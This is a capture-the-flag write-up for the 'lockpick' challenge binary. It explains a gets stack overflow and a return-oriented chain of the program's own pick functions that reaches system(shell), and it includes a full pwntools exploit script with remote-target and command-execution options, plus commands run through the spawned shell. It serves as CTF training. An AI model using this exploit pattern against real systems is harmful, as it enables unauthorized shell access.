//Lockpick Challenge
>Challenge Summary
- Binary:
lockpick(ELF 64-bit, statically positioned at0x400000, NX enabled, no stack canaries) - Objective: Exploit the provided binary to obtain shell access and retrieve the remote flag
deadface{Y0U_R0PP1Ck_1T}.
>Reconnaissance & Static Analysis
-
Initial triage
bashfile lockpick checksec --file=lockpick strings lockpick | headKey observations:
- Non-PIE binary (
0x400000base) simplifies ROP gadget selection. - Stack canaries disabled, so classic stack overflow viable.
- NX enabled, so shellcode injection is blocked; ROP required.
- Non-PIE binary (
-
Disassembly (
objdump -d lockpick | less):maincallsvuln, prints ASCII art, and checks five globalpinvariables before invokingsystem(shell).vulnusesgetson a 0x40-byte stack buffer, enabling overflow.- Functions
pick1..pick5set individual pins, with dependency ordering enforced:pick3→ setspin3pick5requirespin3pick4requirespin5pick1requirespin4pick2requirespin1and copies the real/bin/shinto theshellglobal ![[Pasted image 20251026083742.png]]
-
Gadget discovery (
ROPgadget --binary lockpick):- Only notable gadgets:
ret(0x40101a) andleave; retplus the function epilogues. - No
pop rdi; ret, so we must rely on existing function prologue/epilogue logic to align the stack beforesystem.
- Only notable gadgets:
>Exploitation Strategy
Goal: Redirect control flow after vuln to sequentially invoke pick3, pick5, pick4, pick1, pick2, then return to main at the point just after vuln (0x401407). Once all pins equal 1, main will call system(shell).
Building the ROP Chain
- Buffer overflow layout: 64 bytes for the buffer + 8 bytes saved RBP + successive return addresses.
- Sequence of returns:
pick3(0x401301)pick5(0x401366)pick4(0x401321)pick1(0x40125e)pick2(0x4012a3)retalignment gadget (0x40101a) to keeprsp16-byte aligned when enteringmain.main + 0x1d(0x401407) to land just after thevuln()call.
- Post-chain: fake saved RBP and
exit@pltto cleanly terminate after the shell exits.
Local Payload Generation
Example Python snippet used during prototyping:
python
import struct
chain = [
0x401301, # pick3
0x401366, # pick5
0x401321, # pick4
0x40125e, # pick1
0x4012a3, # pick2
0x40101a, # ret (stack alignment)
0x401407, # resume in main post-vuln
]
payload = b"A" * 64
payload += b"B" * 8
for addr in chain:
payload += struct.pack('<Q', addr)
payload += struct.pack('<Q', 0x4242424242424242) # fake saved RBP
payload += struct.pack('<Q', 0x401080) # exit@plt
with open('lockpick_files/payload.bin', 'wb') as f:
f.write(payload)Final Exploit Script
lockpick_files/exploit.py automates both local and remote exploitation. Key features:
- Non-interactive command execution via
--cmdarguments. - Automatic stack manipulation to set all pins and reach
system(shell). - Optional
--host/--portswitches for remote targets.
python
import argparse
from pathlib import Path
from pwn import *
context.update(arch="amd64", os="linux")
parser = argparse.ArgumentParser(description="Exploit the lockpick binary")
parser.add_argument("--host", help="Remote host to target")
parser.add_argument("--port", type=int, default=9999, help="Remote port")
parser.add_argument("--cmd", action="append", help="Command to run in the spawned shell (repeatable)")
args = parser.parse_args()
binary_path = Path(__file__).with_name("lockpick")
elf = ELF(str(binary_path))
pick4 = elf.symbols['pick4']
pick1 = elf.symbols['pick1']
pick2 = elf.symbols['pick2']
pick3 = elf.symbols['pick3']
pick5 = elf.symbols['pick5']
main_after_vuln = elf.symbols['main'] + 0x1d
ret_gadget = 0x40101a
exit_plt = elf.plt['exit']
payload = b"A" * 64 + b"B" * 8
for addr in [pick3, pick5, pick4, pick1, pick2, ret_gadget, main_after_vuln]:
payload += p64(addr)
payload += p64(0x4242424242424242)
payload += p64(exit_plt)
io = remote(args.host, args.port) if args.host else process(str(binary_path))
io.sendline(payload)
banner = io.recv(timeout=1)
if banner:
print(banner.decode(errors="ignore"), end="")
if args.cmd:
for command in args.cmd:
io.sendline(command.encode())
if args.cmd[-1].lower() != "exit":
io.sendline(b"exit")
output = io.recvall(timeout=4)
if output:
print(output.decode(errors="ignore"), end="")
io.close()
else:
io.interactive()>Remote Exploitation Walkthrough
-
Enumerate file locations
bashpython exploit.py --host env01.deadface.io --port 9999 --cmd "find / -name 'flag*' 2>/dev/null"Output revealed
/home/ctf/flag.txt. -
Retrieve the flag
bashpython exploit.py --host env01.deadface.io --port 9999 --cmd "cat /home/ctf/flag.txt"Result:
deadface{Y0U_R0PP1Ck_1T}
>Lessons Learned
- Minimal gadget availability requires creative chaining of existing program logic (here, leveraging
mainto callsystem). - Ensuring 16-byte stack alignment before glibc calls is crucial when gadgets are scarce; a simple
retgadget solved crashes withinposix_spawninternals. - Incorporating an automated command runner simplifies verification and repeatability, especially against remote targets with limited interaction windows.
>Flag
deadface{Y0U_R0PP1Ck_1T}